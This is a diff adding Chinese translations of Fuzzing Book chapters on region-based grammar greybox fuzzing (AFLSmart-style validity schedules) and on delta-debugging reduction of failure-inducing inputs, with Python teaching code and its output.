+                for column in self.parser.chart_parse(seed.data, self.parser.start_symbol()):
+                    for state in column.states:
+                        if (not self.is_excluded(state.name) and
+                                state.e_col.index - state.s_col.index > 1 and
+                                state.finished()):
+                            seed.regions[state.name].add((state.s_col.index, state.e_col.index))
+                signal.setitimer(signal.ITIMER_REAL, 0) # cancel timeout
+                seed.has_regions = True
+            except Timeout:
+                seed.has_regions = False
+        else:
+            seed.has_regions = False
+
+```
+
+这就是我们无效种子的这些区域的样子。 区域由种子字符串中的开始和结束索引组成。
+
+```py
+mutator = RegionMutator(parser)
+mutator.add_to_fragment_pool(invalid_seed)
+for symbol in invalid_seed.regions:
+    print(symbol)
+    for (s, e) in invalid_seed.regions[symbol]:
+        print("|-(%d,%d) : %s" % (s, e, invalid_seed.data[s:e]))
+
+```
+
+```py
+<start>
+<xml-tree>
+|-(17,19) : rl
+|-(18,20) : ld
+|-(24,29) : <br/>
+|-(15,20) : World
+|-(17,20) : rld
+|-(12,24) : <i>World</i>
+|-(15,18) : Wor
+|-(16,20) : orld
+|-(12,29) : <i>World</i><br/>
+|-(15,19) : Worl
+|-(16,19) : orl
+|-(16,18) : or
+|-(15,17) : Wo
+<xml-open-tag>
+|-(0,6) : <html>
+|-(12,15) : <i>
+|-(6,12) : <body>
+<xml-openclose-tag>
+|-(24,29) : <br/>
+<xml-close-tag>
+|-(20,24) : </i>
+<xml-attribute>
+<id>
+<text>
+<letter>
+<letter_space>
+
+```
+
+现在我们知道种子中的哪些区域属于哪个符号，我们可以定义基于区域的交换和删除运算符。
+
+```py
+class RegionMutator(RegionMutator):
+    def swap_fragment(self, seed):
+        """Chooses a random region and swaps it with a fragment
+ that starts with the same symbol"""
+        if not seed.has_structure and seed.has_regions:
+            regions = [r for r in seed.regions
+                         if (len(seed.regions[r]) > 0 and
+                            len(self.fragments[r]) > 0)]
+            if len(regions) == 0: return seed
+
+            key = random.choice(list(regions))
+            s, e = random.choice(list(seed.regions[key]))
+            swap_structure = random.choice(self.fragments[key])
+            swap_string = tree_to_string(swap_structure)
+            new_seed = Seed(seed.data[:s] + swap_string + seed.data[e:])
+            new_seed.has_structure = False
+            new_seed.has_regions = False
+            return new_seed
+        else:
+            return super().swap_fragment(seed)
+
+```
+
+```py
+class RegionMutator(RegionMutator):
+    def delete_fragment(self, seed):
+        """Deletes a random region"""
+        if not seed.has_structure and seed.has_regions:
+            regions = [r for r in seed.regions
+                         if len(seed.regions[r]) > 0]
+            if len(regions) == 0: return seed
+
+            key = random.choice(list(regions))
+            s, e = (0, 0)
+            while (e - s < 2):
+                s, e = random.choice(list(seed.regions[key]))
+            new_seed = Seed(seed.data[:s] + seed.data[e:])
+            new_seed.has_structure = False
+            new_seed.has_regions = False
+            return new_seed
+        else:
+            return super().delete_fragment(seed)
+
+```
+
+让我们尝试新的基于区域的增变器。 我们将一个简单的有效种子添加到片段池，并尝试对无效种子进行突变。
+
+```py
+simple_seed = Seed("<b>Text</b>")
+mutator = RegionMutator(parser)
+mutator.add_to_fragment_pool(simple_seed)
+
+print(invalid_seed)
+mutator.mutate(invalid_seed)
+
+```
+
+```py
+<html><body><i>World</i><br/>>/body></html>
+
+```
+
+```py
+<html><body><b>World</i><br/>>/body></html>
+
+```
+
+***摘要*** 。 我们可以使用Earley解析器生成一个解析表，并将输入中的区域分配给语法中的符号。 我们的区域更改器可以用片段池中以相同符号开头的片段替换这些区域，或者完全删除这些区域。
+
+***试试*** 。 实现一个区域池（类似于片段池）和一个`swap_region()` mutator。 您可以通过以Jupyter笔记本打开本章来执行自己的代码。
+
+### 基于区域的模糊测试
+
+让我们将其与[可识别结构的灰盒模糊器](#Integration-with-Greybox-Fuzzing)集成起来，尝试使用闪亮的新区域转换器。
+
+```py
+runner = FunctionCoverageRunner(my_parser)
+byte_mutator = Mutator()
+tree_mutator = RegionMutator(EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS))
+schedule = PowerSchedule()
+
+regionFuzzer = GreyboxGrammarFuzzer([valid_seed.data], byte_mutator, tree_mutator, schedule)
+
+start = time.time()
+regionFuzzer.runs(runner, trials = n)
+end = time.time()
+
+"It took the structural greybox fuzzer with region mutator\
+  %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took the structural greybox fuzzer with region mutator 5.99 seconds to generate and execute 300 inputs.'
+
+```
+
+我们可以看到，具有基于区域的变体的结构灰箱模糊器要比仅基于[片段的变体](#Fragment-based-Fuzzing)慢。 这是因为基于区域的结构突变适用于*所有种子*。 相反，基于片段的变异子仅适用于极少数可解析的种子。 否则，仅应用（非常高效）字节级更改器。
+
+让我们也打印种群中种子的平均有效度。
+
+```py
+def print_more_stats(fuzzer, parser):
+    print_stats(fuzzer, parser)
+    validity = 0
+    total = 0
+    for seed in fuzzer.population:
+        if not seed.data: continue
+        table = parser.chart_parse(seed.data, parser.start_symbol())
+        cols = [col for col in table if col.states]
+        parsable = invalid_seed.data[:len(cols)-1]
+        validity += len(parsable) / len(seed.data)
+        total += 1
+    print("On average, %0.1f%% of a seed in the population can be successfully parsed." % (100 * validity / total))
+
+```
+
+```py
+print_more_stats(regionFuzzer, parser)
+
+```
+
+```py
+From the 300 generated inputs, 3 (1.00%) can be parsed.
+In total, 174 statements are covered.
+On average, 8.5% of a seed in the population can be successfully parsed.
+
+```
+
+***摘要*** 。 与基于片段的突变相比，具有基于区域的突变的灰箱模糊测试器可以实现更高的*覆盖率*，但生成的*合法输入数则更少*。 通过为无法成功解析的种子至少利用*一些*结构来解释更高的覆盖率。
+
+## 关注有效种子
+
+在上一节中，我们有一个问题：有效性低。 为了解决此问题，基于*有效性的功率调度*将更多[能量](GreyboxFuzzer.html#Power-Schedules)分配给具有较高有效性的种子。 换句话说，模糊器*花了更多的时间来模糊更有效*的种子。
+
+```py
+import [math](https://docs.python.org/3/library/math.html)
+
+```
+
+```py
+class AFLSmartSchedule(PowerSchedule):
+
+    def __init__(self, parser, exponent):
+        self.parser = parser
+        self.exponent = exponent
+
+    def parsable(self, seed):
+        """Returns the substring that is parsable"""
+        table = self.parser.chart_parse(seed.data, parser.start_symbol())
+        cols = [col for col in table if col.states]
+        return seed.data[:len(cols)-1]
+
+    def degree_of_validity(self, seed):
+        """Returns the proportion of a seed that is parsable"""
+        if hasattr(seed, "validity"): return seed.validity
+        seed.validity = (len(self.parsable(seed)) / len(seed.data)
+                         if len(seed.data) > 0 else 0)
+        return seed.validity
+
+    def assignEnergy(self, population):
+        """Assign exponential energy proportional to degree of validity"""
+        for seed in population:
+            seed.energy = ((self.degree_of_validity(seed) / math.log(len(seed.data))) ** self.exponent
+                           if len(seed.data) > 1 else 0)
+
+```
+
+让我们通过传递有效种子来发挥有效性的作用...
+
+```py
+smart_schedule = AFLSmartSchedule(parser, 1)
+print("%11s: %s" % ("Entire seed", simple_seed))
+print("%11s: %s" % ("Parsable", smart_schedule.parsable(simple_seed)))
+
+"Degree of validity: %0.2f%%" % (100 * smart_schedule.degree_of_validity(simple_seed))
+
+```
+
+```py
+Entire seed: <b>Text</b>
+   Parsable: <b>Text</b>
+
+```
+
+```py
+'Degree of validity: 100.00%'
+
+```
+
+...和无效的种子。
+
+```py
+print("%11s: %s" % ("Entire seed", invalid_seed))
+print("%11s: %s" % ("Parsable", smart_schedule.parsable(invalid_seed)))
+
+"Degree of validity: %0.2f%%" % (100 * smart_schedule.degree_of_validity(invalid_seed))
+
+```
+
+```py
+Entire seed: <html><body><i>World</i><br/>>/body></html>
+   Parsable: <html><body><i>World</i><br/>
+
+```
+
+```py
+'Degree of validity: 67.44%'
+
+```
+
+优秀的。 我们可以将有效程度计算为可以解析的字符串的比例。
+
+让我们将基于有效性的电源计划插入结构感知的灰箱模糊器中。
+
+```py
+runner = FunctionCoverageRunner(my_parser)
+byte_mutator = Mutator()
+tree_mutator = RegionMutator(EarleyParser(XML_GRAMMAR, tokens=XML_TOKENS))
+schedule = AFLSmartSchedule(parser, 1)
+
+aflsmart = GreyboxGrammarFuzzer([valid_seed.data], byte_mutator, tree_mutator, schedule)
+
+start = time.time()
+aflsmart.runs(runner, trials = n)
+end = time.time()
+
+"It took AFLSmart %0.2f seconds to generate and execute %d inputs." % (end - start, n)
+
+```
+
+```py
+'It took AFLSmart 29.17 seconds to generate and execute 300 inputs.'
+
+```
+
+```py
+print_more_stats(aflsmart, parser)
+
+```
+
+```py
+From the 300 generated inputs, 19 (6.33%) can be parsed.
+In total, 160 statements are covered.
+On average, 29.2% of a seed in the population can be successfully parsed.
+
+```
+
+***摘要*** 。 确实，通过花费更多时间对具有较高有效性的种子进行模糊处理，我们还可以生成具有较高有效性的输入。 更多输入完全有效 给定的语法。
+
+***读取*** 。 在原始的AFLSmart论文中了解有关基于区域的模糊处理，延迟解析和基于有效性的计划的更多信息：Pham等人的“ [Smart Greybox Fuzzing](https://arxiv.org/abs/1811.09447) ”。下载并改进AFLSmart： [https：/ /github.com/aflsmart/aflsmart](https://github.com/aflsmart/aflsmart) 。
+
+## 挖掘种子
+
+到目前为止，应该已经很清楚，*种子*的选择会极大地影响模糊测试的成功。 一方面是*变异性* –我们的种子应涵盖尽可能多的不同特征，以增加覆盖率。 但是，另一方面是种子*引起错误*的可能性–也就是说，如果种子之前曾参与导致失败，则该种子的突变很可能会再次导致失败。 这是因为针对过去故障的修复通常可以成功地使不再发生具体故障，但是有时可能无法捕获可能发生故障的所有条件。 因此，即使原始故障是固定的，原始故障引发输入的*环境*中出现错误的可能性仍然更高。 因此，将在已知的之前引起故障的*输入用作种子是有回报的。*
+
+为了说明问题，Holler的 *LangFuzz* 模糊器用作CVE报告中的JavaScript输入种子。 在错误已解决的时候，这些被发布为引发故障的输入。 因此，他们再也不会造成伤害。 但是，通过使用诸如种子之类的输入，LangFuzz会创建大量变异和所有特征的重新组合，其中许多会（并且确实）一次又一次地发现错误。
+
+## 经验教训
+
+*   **词典**可用于将重要的关键字插入到生成的输入中。
+
+*   **基于片段的突变**首先将种子分解为片段，然后重新组装这些片段以生成新的输入。 *片段*是种子的解析树中的子树。 但是，基于片段的突变要求可以成功解析种子，这对于基于覆盖率的灰盒模糊器发现的种子而言可能并非如此。
+
+*   **基于区域的突变**将输入中的区域标记为属于语法中的某个符号。 例如，它可以将子字符串'< / a >'标识为结束标签。 然后可以将这些区域删除或替换为属于同一符号的片段或区域。 与基于片段的突变不同，基于区域的突变适用于所有*所有*种子-即使是只能部分解析的种子。 但是，对于生成的输入，有效性的程度仍然很低。
+
+*   基于**有效性的功率调度表**将更多能量投入到具有更高有效性的种子中。 生成的输入也具有较高的有效性。
+
+*   **从先前导致故障的输入存储库中挖掘种子**会导致输入碎片与过去的故障相关，从而增加了在附近发现更多故障的可能性。
+
+## 后续步骤
+
+本章结束了对语法模糊技术的讨论。
+
+*   在[下一章](Reducer.html)中，我们讨论如何*减少故障后导致故障的输入*，仅保留重现故障所需的输入部分。
+*   考虑到目标测试生成的代码语义，[下一部分](04_Semantical_Fuzzing.html)将从语法模糊化为*语义*模糊化。
+
+## Background
+
+本章以以下两项工作为基础：
+
+*   *LangFuzz* 模糊器[ [Holler *等*，2012。](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final73.pdf)]是一种高效（且有效！）的基于语法的模糊器，适用于（大部分）JavaScript。 它使用语法来解析种子，并将其输入与生成的部分重新组合，迄今为止，在JavaScript解释器中发现了2,600个错误。
+
+*   智能灰盒模糊测试（ [AFLSmart](https://github.com/aflsmart/aflsmart) ）将基于覆盖的模糊测试和基于语法的（结构）模糊测试结合在一起，如[ [Van-Thuan Pham *等人*，2018年所述。](https://arxiv.org/abs/1811.09447) ]。 由此产生的AFLSMART工具已经在广泛使用，经过测试的工具和库中发现了42个零日漏洞。 到目前为止，已分配了17个CVE。
+
+最近的模糊测试工作也将基于语法的模糊测试和覆盖范围结合在一起。
+
+*   *Superion* [[王俊杰*等*，2019\.](https://2019.icse-conferences.org/event/icse-2019-technical-papers-superion-grammar-aware-greybox-fuzzing) ]等同于我们上面的“与Greybox Fuzzing集成”部分–即LangFuzz的组合 和Greybox Fuzzing，但没有AFL样式的字节级突变。 与AFL和jsfunfuzz相比，Superion可以提高代码覆盖率（即行和函数覆盖率分别为16.7％和8.8％）和错误发现功能。 根据作者的说法，他们发现了30个新漏洞，其中发现了21个新漏洞，并分配了16个CVE，并获得了3.2万美元的漏洞赏金。
+
+*   *Nautilus* [ [Cornelius Aschermann *等人*，2019年。](https://www.ndss-symposium.org/ndss-paper/nautilus-fishing-for-deep-bugs-with-grammars/)]还结合了基于语法的模糊化和覆盖率反馈。 它为所有种子和生成的输入维护解析树。 为了允许AFL样式的字节级突变，它将子树“折叠”回字节级表示形式。 这样做的好处是不必重新解析生成的种子。 但是，随着时间的流逝，Nautilus会退化为结构未知的灰箱模糊处理，因为它不会重新解析折叠的子树，而是为大多数解析树被折叠的后续种子重构输入结构。 鹦鹉螺发现了mruby，PHP，ChakraCore和Lua中的错误； 报告这些错误的奖金为2600美元，并分配了6个CVE。
+
+## 练习
+
+### 练习1：“大灰盒子”模糊器枪战
+
+使用我们的灰盒技术实现，并在基准上对其进行评估。 哪种技术（和哪个子技术）会产生什么影响，为什么？ 还请考虑Superion [ [Wang Junjie *等*，2019\.](https://2019.icse-conferences.org/event/icse-2019-technical-papers-superion-grammar-aware-greybox-fuzzing) ]和Nautilus [ [Cornelius Aschermann *等*，2019.的具体方法。](https://www.ndss-symposium.org/ndss-paper/nautilus-fishing-for-deep-bugs-with-grammars/) ]，甚至可能是这些方法使用的基准。
+
+[Use the notebook](https://mybinder.org/v2/gh/uds-se/fuzzingbook/master?filepath=docs/notebooks/GreyboxGrammarFuzzer.ipynb#Exercises) to work on the exercises and see solutions.
\ No newline at end of file
diff --git a/new/fuzzing-book-zh/22.md b/new/fuzzing-book-zh/22.md
new file mode 100644
index 0000000000000000000000000000000000000000..afc856d4e3c1e117f7cc6efc53e904dad9ed97b5
--- /dev/null
+++ b/new/fuzzing-book-zh/22.md
@@ -0,0 +1,1347 @@
+# 减少导致失败的输入
+
+> 原文： [https://www.fuzzingbook.org/html/Reducer.html](https://www.fuzzingbook.org/html/Reducer.html)
+
+通过构造，模糊器创建的输入可能很难阅读。 当人必须分析故障的确切原因时，这会在*调试*期间引起问题。 在本章中，我们介绍了*自动将故障产生的输入减少并简化为最小*以便于调试的技术。
+
+**前提条件**
+
+*   用于减少的简单“增量调试”技术没有特定的先决条件。
+*   由于还原通常与模糊测试一起使用，因此阅读有关基本模糊测试的[一章是一个好主意。](Fuzzer.html)
+*   较后的基于语法的技术需要[派生树](GrammarFuzzer.html)和[解析](Parser.html)的知识。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.Reducer](Reducer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+*减速器*接收引起故障的输入，并将其减小到仍可重现故障的最小值。 本章提供实现此类减速器的`Reducer`类。
+
+这是一个简单的示例：算术表达式在Python解释器中导致错误：
+
+```py
+>>> !python -c 'x = 1 + 2 * 3 / 0'
+Traceback (most recent call last):
+  File "<string>", line 1, in <module>
+ZeroDivisionError: division by zero
+
+```
+
+我们可以将输入减少到最小吗？ 要使用`Reducer`，首先必须构建一个`Runner`，如果发生精确错误，其结果为`FAIL`。 因此，我们构建了一个`ZeroDivisionRunner`，如果出现`ZeroDivisionError`，则其`run()`方法将特别返回`FAIL`结果。
+
+```py
+>>> from [Fuzzer](Fuzzer.html) import ProgramRunner
+>>> class ZeroDivisionRunner(ProgramRunner):
+>>>     """Make outcome 'FAIL' if ZeroDivisionError occurs"""
+>>>     def run(self, inp=""):
+>>>         result, outcome = super().run(inp)
+>>>         if result.stderr.find('ZeroDivisionError') >= 0:
+>>>             outcome = 'FAIL'
+>>>         return result, outcome
+
+```
+
+如果我们将此表达式输入`ZeroDivisionRunner`，它将按设计产生`FAIL`的结果。
+
+```py
+>>> python_input = "x = 1 + 2 * 3 / 0"
+>>> python_runner = ZeroDivisionRunner("python")
+>>> result, outcome = python_runner.run(python_input)
+>>> outcome
+'FAIL'
+
+```
+
+增量调试是一种简单而强大的归约算法。 我们可以将`DeltaDebuggingReducer`绑定到该运行程序，并让它确定导致`python`程序失败的子字符串：
+
+```py
+>>> dd = DeltaDebuggingReducer(python_runner)
+>>> dd.reduce(python_input)
+'3/0'
+
+```
+
+输入减少到最大：我们得到除以零的本质。
+
+## 为什么要减少？
+
+在这一点上，我们已经看到了许多测试生成技术，它们以某种形式都产生输入以触发故障。 如果它们成功-也就是说程序实际上失败-我们必须找出失败发生的原因以及如何修复它。
+
+这是这种情况的一个例子。 我们有一个带有`run()`方法的类`MysteryRunner`类-在给出其代码的情况下-有时会失败。 但是，这实际上是在什么情况下发生的呢？ 为了使这种情况不明显，我们故意遮盖了确切的条件。
+
+```py
+import [fuzzingbook_utils](https://github.com/uds-se/fuzzingbook/tree/master/notebooks/fuzzingbook_utils)
+
+```
+
+```py
+from [Fuzzer](Fuzzer.html) import RandomFuzzer, Runner
+
+```
+
+```py
+import [re](https://docs.python.org/3/library/re.html)
+
+```
+
+```py
+class MysteryRunner(Runner):
+    def run(self, inp):
+        x = inp.find(chr(0o17 + 0o31))
+        y = inp.find(chr(0o27 + 0o22))
+        if x >= 0 and y >= 0 and x < y:
+            return (inp, Runner.FAIL)
+        else:
+            return (inp, Runner.PASS)
+
+```
+
+让我们对函数进行模糊处理，直到找到失败的输入。
+
+```py
+mystery = MysteryRunner()
+random_fuzzer = RandomFuzzer()
+while True:
+    inp = random_fuzzer.fuzz()
+    result, outcome = mystery.run(inp)
+    if outcome == mystery.FAIL:
+        break
+
+```
+
+```py
+failing_input = result
+failing_input
+
+```
+
+```py
+' 7:,>((/$$-/->.;.=;(.%!:50#7*8=$&&=$9!%6(4=&69\':\'<3+0-3.24#7=!&60)2/+";+<7+1<2!4$>92+$1<(3%&5\'\'>#'
+
+```
+
+此输入中的某些内容导致`MysteryRunner`失败。 那是什么
+
+## 手动减少输入
+
+调试过程中的重要一步是*降低* –也就是说，确定与发生故障相关的故障情况，并*省略*（如果可能） 那不是。 正如Kernighan和Pike [Kernighan *等人*，1999。]所说：
+
+> 对于每种情况下的问题，请检查是否与发生问题有关。 如果不是，请将其从问题报告或相关的测试案例中删除。
+
+专门针对输入，他们建议进行*分治*流程：
+
+> 通过二进制搜索进行。 扔掉一半的输入，看看输出是否仍然错误； 如果不是，则返回先前的状态并丢弃输入的另一半。
+
+这是我们可以轻松尝试的方法。 例如，我们可以看到如果仅在前半部分进纸，是否仍会发生错误：
+
+```py
+half_length = len(failing_input) // 2   # // is integer division
+first_half = failing_input[:half_length]
+mystery.run(first_half)
+
+```
+
+```py
+(" 7:,>((/$$-/->.;.=;(.%!:50#7*8=$&&=$9!%6(4=&69':", 'PASS')
+
+```
+
+不，仅上半年是不够的。 也许下半年？
+
+```py
+second_half = failing_input[half_length:]
+mystery.run(second_half)
+
+```
+
+```py
+('\'<3+0-3.24#7=!&60)2/+";+<7+1<2!4$>92+$1<(3%&5\'\'>#', 'PASS')
+
+```
+
+这也不是很好。 我们仍然可以通过删除*个较小的块*来进行操作，例如，一个字符接一个字符。 如果我们的测试是确定性的并且容易重复，那么很显然，此过程最终将减少输入。 但是，这仍然是一个效率很低的过程，特别是对于长输入。 我们需要的是*策略*，该策略可有效地最小化导致故障的输入-该策略可以自动化。
+
+## 增量调试
+
+有效减少故障导致输入的一种策略是*增量调试* [ [Zeller *等人*，2002。](https://doi.org/10.1109/32.988498)。 Delta Debugging实现了上面列出的“二进制搜索”策略，但有一个转折：如果没有一半失败（也如上所述），它将不断从输入中删除越来越小的块，直到消除单个字符为止。 因此，在切除了上半年之后，我们切除了第一季度，第二季度，依此类推。
+
+让我们在我们的示例中对此进行说明，然后看看如果我们削减第一季度会发生什么。
+
+```py
+quarter_length = len(failing_input) // 4
+input_without_first_quarter = failing_input[quarter_length:]
+mystery.run(input_without_first_quarter)
+
+```
+
+```py
+('50#7*8=$&&=$9!%6(4=&69\':\'<3+0-3.24#7=!&60)2/+";+<7+1<2!4$>92+$1<(3%&5\'\'>#',
+ 'FAIL')
+
+```
+
+啊! 这失败了，并将失败的输入减少了25％。 让我们删除另一个季度。
+
+```py
+input_without_first_and_second_quarter = failing_input[quarter_length * 2:]
+mystery.run(input_without_first_and_second_quarter)
+
+```
+
+```py
+('\'<3+0-3.24#7=!&60)2/+";+<7+1<2!4$>92+$1<(3%&5\'\'>#', 'PASS')
+
+```
+
+这并不奇怪，因为我们之前有过这样一个：
+
+```py
+second_half
+
+```
+
+```py
+'\'<3+0-3.24#7=!&60)2/+";+<7+1<2!4$>92+$1<(3%&5\'\'>#'
+
+```
+
+```py
+input_without_first_and_second_quarter
+
+```
+
+```py
+'\'<3+0-3.24#7=!&60)2/+";+<7+1<2!4$>92+$1<(3%&5\'\'>#'
+
+```
+
+那去掉第三季度呢？
+
+```py
+input_without_first_and_third_quarter = failing_input[quarter_length:
+                                                      quarter_length * 2] + failing_input[quarter_length * 3:]
+mystery.run(input_without_first_and_third_quarter)
+
+```
+
+```py
+("50#7*8=$&&=$9!%6(4=&69':<7+1<2!4$>92+$1<(3%&5''>#", 'PASS')
+
+```
+
+好。 让我们删除第四季度。
+
+```py
+input_without_first_and_fourth_quarter = failing_input[quarter_length:quarter_length * 3]
+mystery.run(input_without_first_and_fourth_quarter)
+
+```
+
+```py
+('50#7*8=$&&=$9!%6(4=&69\':\'<3+0-3.24#7=!&60)2/+";+', 'FAIL')
+
+```
+
+是! 这已经成功了。 现在，我们的输入减少了50％。
+
+现在，我们已尝试删除组成原始失败字符串的$ \ frac {1} {2} $和$ \ frac {1} {4} $的片段。 在下一次迭代中，我们将删除甚至更小的碎片– $ \ frac {1} {8} $，$ \ frac {1} {16} $等。 我们一直继续到$ \ frac {1} {97} $ –即单个字符为止。
+
+但是，这是我们高兴地让计算机为我们做的事情。 我们首先介绍一个`Reducer`类，作为所有异径管的抽象超类。 `test()`方法运行一个测试（如果需要，可以进行日志记录）； `reduce()`方法最终将输入减少到最小。
+
+```py
+class Reducer(object):
+    def __init__(self, runner, log_test=False):
+        """Attach reducer to the given `runner`"""
+        self.runner = runner
+        self.log_test = log_test
+        self.reset()
+
+    def reset(self):
+        self.tests = 0
+
+    def test(self, inp):
+        result, outcome = self.runner.run(inp)
+        self.tests += 1
+        if self.log_test:
+            print("Test #%d" % self.tests, repr(inp), repr(len(inp)), outcome)
+        return outcome
+
+    def reduce(self, inp):
+        self.reset()
+        # Default: Don't reduce
+        return inp
+
+```
+
+`CachingReducer`变体保存测试结果，这样我们就不必一次又一次地运行相同的测试：
+
+```py
+class CachingReducer(Reducer):
+    def reset(self):
+        super().reset()
+        self.cache = {}
+
+    def test(self, inp):
+        if inp in self.cache:
+            return self.cache[inp]
+
+        outcome = super().test(inp)
+        self.cache[inp] = outcome
+        return outcome
+
+```
+
+这是*增量调试*减速器。 Delta Debugging实施上述策略：首先删除大小为\\ frac {1} {2} $的较大块； 如果这没有失败，那么我们将继续处理大小为$ \ frac {1} {4} $，然后是$ \ frac {1} {8} $的块，依此类推。
+
+我们的实现使用与[ [Zeller *等人*等，2002。](https://doi.org/10.1109/32.988498)]中的Zeller几乎相同的Python代码。 唯一的不同是，它已被修改为可以在Python 3和我们的`Runner`框架上运行。 变量`n`（最初为2）表示粒度–在每个步骤中，将切掉大小为\\ frac {1} {n} $的块。 如果所有测试均未通过（`some_complement_is_failing`为False），则将`n`加倍-直到达到输入长度为止。
+
+```py
+class DeltaDebuggingReducer(CachingReducer):
+    def reduce(self, inp):
+        self.reset()
+        assert self.test(inp) != Runner.PASS
+
+        n = 2     # Initial granularity
+        while len(inp) >= 2:
+            start = 0
+            subset_length = len(inp) / n
+            some_complement_is_failing = False
+
+            while start < len(inp):
+                complement = inp[:int(start)] + \
+                    inp[int(start + subset_length):]
+
+                if self.test(complement) == Runner.FAIL:
+                    inp = complement
+                    n = max(n - 1, 2)
+                    some_complement_is_failing = True
+                    break
+
+                start += subset_length
+
+            if not some_complement_is_failing:
+                if n == len(inp):
+                    break
+                n = min(n * 2, len(inp))
+
+        return inp
+
+```
+
+要查看`DeltaDebuggingReducer`的工作方式，让我们在失败的输入上运行它。 在每一步中，我们看到剩余的输入如何变得越来越小，直到只剩下三个字符为止：
+
+```py
+dd_reducer = DeltaDebuggingReducer(mystery, log_test=True)
+dd_reducer.reduce(failing_input)
+
+```
+
+```py
+Test #1 ' 7:,>((/$$-/->.;.=;(.%!:50#7*8=$&&=$9!%6(4=&69\':\'<3+0-3.24#7=!&60)2/+";+<7+1<2!4$>92+$1<(3%&5\'\'>#' 97 FAIL
+Test #2 '\'<3+0-3.24#7=!&60)2/+";+<7+1<2!4$>92+$1<(3%&5\'\'>#' 49 PASS
+Test #3 " 7:,>((/$$-/->.;.=;(.%!:50#7*8=$&&=$9!%6(4=&69':" 48 PASS
+Test #4 '50#7*8=$&&=$9!%6(4=&69\':\'<3+0-3.24#7=!&60)2/+";+<7+1<2!4$>92+$1<(3%&5\'\'>#' 73 FAIL
+Test #5 "50#7*8=$&&=$9!%6(4=&69':<7+1<2!4$>92+$1<(3%&5''>#" 49 PASS
+Test #6 '50#7*8=$&&=$9!%6(4=&69\':\'<3+0-3.24#7=!&60)2/+";+' 48 FAIL
+Test #7 '\'<3+0-3.24#7=!&60)2/+";+' 24 PASS
+Test #8 "50#7*8=$&&=$9!%6(4=&69':" 24 PASS
+Test #9 '9!%6(4=&69\':\'<3+0-3.24#7=!&60)2/+";+' 36 FAIL
+Test #10 '9!%6(4=&69\':=!&60)2/+";+' 24 FAIL
+Test #11 '=!&60)2/+";+' 12 PASS
+Test #12 "9!%6(4=&69':" 12 PASS
+Test #13 '=&69\':=!&60)2/+";+' 18 PASS
+Test #14 '9!%6(4=!&60)2/+";+' 18 FAIL
+Test #15 '9!%6(42/+";+' 12 PASS
+Test #16 '9!%6(4=!&60)' 12 FAIL
+Test #17 '=!&60)' 6 PASS
+Test #18 '9!%6(4' 6 PASS
+Test #19 '6(4=!&60)' 9 FAIL
+Test #20 '6(460)' 6 FAIL
+Test #21 '60)' 3 PASS
+Test #22 '6(4' 3 PASS
+Test #23 '(460)' 5 FAIL
+Test #24 '460)' 4 PASS
+Test #25 '(0)' 3 FAIL
+Test #26 '0)' 2 PASS
+Test #27 '(' 1 PASS
+Test #28 '()' 2 FAIL
+Test #29 ')' 1 PASS
+
+```
+
+```py
+'()'
+
+```
+
+现在我们知道`MysteryRunner`失败的原因-只要输入包含两个匹配的括号并在它们之间有一个数字就足够了。 增量调试确定这是29个步骤。 其结果是 *1个最小值*，这意味着需要使用每个字符来产生错误； 删除任何内容（如上述测试`#27`和`#29`所示）不再会使测试失败。 此属性由增量调试算法保证，该算法在最后阶段始终尝试逐个删除字符。
+
+简化的测试案例（例如上述案例）有很多优点：
+
+*   减少的测试用例**减少了程序员**的*认知负荷*。 测试用例更短，更集中，因此不会给程序员带来不相关的细节。 减少的输入通常会导致执行时间缩短和程序状态变小，这两者都会在了解bug时减少搜索空间。 在我们的案例中，我们消除了许多不相关的输入-只有减少的输入中包含的两个字符才是相关的。
+
+*   简化的测试案例**更易于传达**。 这里所有需要的是摘要：`MysteryRunner fails on "()"`，它比`MysteryRunner fails on a 4100-character input (attached)`好得多。
+
+*   简化的测试案例有助于**识别重复项**。 如果已经报告了类似的错误，并且已将所有错误归结为相同的原因（即，输入中包含匹配的括号），那么很明显，所有这些错误都是同一根本原因的不同症状，并且都是 一次代码修复即可解决。
+
+增量调试的效果如何？ 在最佳情况下（当左半部分或右半部分发生故障时），测试次数与输入长度$ n $成对数关系（即$ O（\ log_2 n）$）； 这与二进制搜索的复杂度相同。 但是，在最坏的情况下，增量调试可能需要大量与$ n ^ 2 $（即$ O（n ^ 2）$）成比例的测试-这种情况发生在我们无法达到字符粒度的情况下，并且 必须反复尝试删除所有字符，才发现删除最后一个字符会导致失败[ [Zeller *等人*，2002。](https://doi.org/10.1109/32.988498)]。 （不过，这是一个非常病理的情况。）
+
+通常，增量调试是一种健壮的算法，易于实现，易于部署和易于使用-前提是基础测试用例具有确定性，并且运行速度足够快，可以进行大量实验。 由于这些条件都可以有效地使模糊测试变得有效，因此增量调试是模糊测试的绝佳伴侣。
+
+## 基于语法的输入减少
+
+如果输入语言在语法上很复杂，则增量调试可能会进行几次尝试以减少输入，并且可能根本无法减少输入。 因此，在本章的后半部分，我们介绍一种名为*的基于语法的归约*（简称GRABR）的算法，该算法利用*语法*来减少语法复杂的输入。
+
+### 词汇还原与句法规则
+
+尽管它具有一般的鲁棒性，但在某些情况下，增量调试可能效率低下或完全失败。 例如，考虑一些*表达式输入*，例如`1 + (2 * 3)`。 Delta调试需要大量测试以简化导致故障的输入，但最终会返回最少的输入
+
+```py
+expr_input = "1 + (2 * 3)"
+dd_reducer = DeltaDebuggingReducer(mystery, log_test=True)
+dd_reducer.reduce(expr_input)
+
+```
+
+```py
+Test #1 '1 + (2 * 3)' 11 FAIL
+Test #2 '2 * 3)' 6 PASS
+Test #3 '1 + (' 5 PASS
+Test #4 '+ (2 * 3)' 9 FAIL
+Test #5 '+ ( 3)' 6 FAIL
+Test #6 ' 3)' 3 PASS
+Test #7 '+ (' 3 PASS
+Test #8 ' ( 3)' 5 FAIL
+Test #9 '( 3)' 4 FAIL
+Test #10 '3)' 2 PASS
+Test #11 '( ' 2 PASS
+Test #12 '(3)' 3 FAIL
+Test #13 '()' 2 FAIL
+Test #14 ')' 1 PASS
+Test #15 '(' 1 PASS
+
+```
+
+```py
+'()'
+
+```
+
